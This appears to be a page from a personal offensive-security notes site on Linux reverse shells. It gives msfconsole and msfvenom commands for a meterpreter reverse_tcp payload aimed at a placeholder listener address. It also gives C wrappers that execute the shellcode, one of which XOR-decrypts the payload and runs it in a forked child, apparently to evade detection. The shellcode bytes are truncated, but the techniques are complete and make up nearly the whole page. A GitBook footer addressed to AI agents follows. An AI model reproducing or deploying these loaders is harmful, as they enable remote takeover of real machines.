> For the complete documentation index, see [llms.txt](https://aj-labz.gitbook.io/aj-labz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://aj-labz.gitbook.io/aj-labz/offensive-cyberz/linux/shells.md).

# Shells

### Basic Linux Reverse Shell

Configure Listener

```
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 192.168.X.Y; set LPORT 443; exploit -j"
```

* Configure a payload

```
msfvenom -p linux/x64/meterpreter/reverse_tcp LPORT=443 LHOST=192.168.X.Y -f c
```

* Create a wrapper called hack.c

{% code title="hack.c" %}

```c
#include <stdio.h>  
#include <stdlib.h>  
#include <unistd.h>  

// msfvenom -p linux/x64/meterpreter/reverse_tcp LPORT=443 LHOST=192.168.X.Y -f c  
unsigned char buf[] ="\x48\x31"  
  
int main (int argc, char **argv)  
{  
 // Run our shellcode  
 int (*ret)() = (int(*)())buf;  
 ret();  
}
```

{% endcode %}

Compile the code with gcc

```
gcc -o hack.out hack.c -z execstack
```

### Encrypted Linux Reverse Shell

{% code title="encrypted\_xor.c" %}

```c
#define _GNU_SOURCE
#include <sys/mman.h>
#include <stdio.h>
#include <dlfcn.h>
#include <unistd.h>

// compile with - gcc -o final.out encrypted_xor.c -z execstack
// msfvenom -p linux/x64/meterpreter/reverse_tcp LPORT=443 LHOST=192.168.X.Y -f c   -encrypt xor -encrypt-key J

unsigned char buf[] = "\x02\x7b\xb5\x20\x43\x12\xd3....";

int main(int argc, char** argv)
{
    if (fork() == 0)
    {
    char xor_key = 'J';
	int arraysize = (int)sizeof(buf);
	for (int i = 0; i < arraysize - 1; i++)
	{
		buf[i] = buf[i] ^ xor_key;
	}

    intptr_t pagesize = sysconf(_SC_PAGESIZE);
    if (mprotect((void*)(((intptr_t)buf) & ~(pagesize - 1)), pagesize, PROT_READ | PROT_EXEC))
		{
            perror("mprotect");
            return -1;
        }
    int (*ret)() = (int(*)())buf;
    ret();
    }
    else
    {
        printf("done");
    }
    return 3;
}

```

{% endcode %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://aj-labz.gitbook.io/aj-labz/offensive-cyberz/linux/shells.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
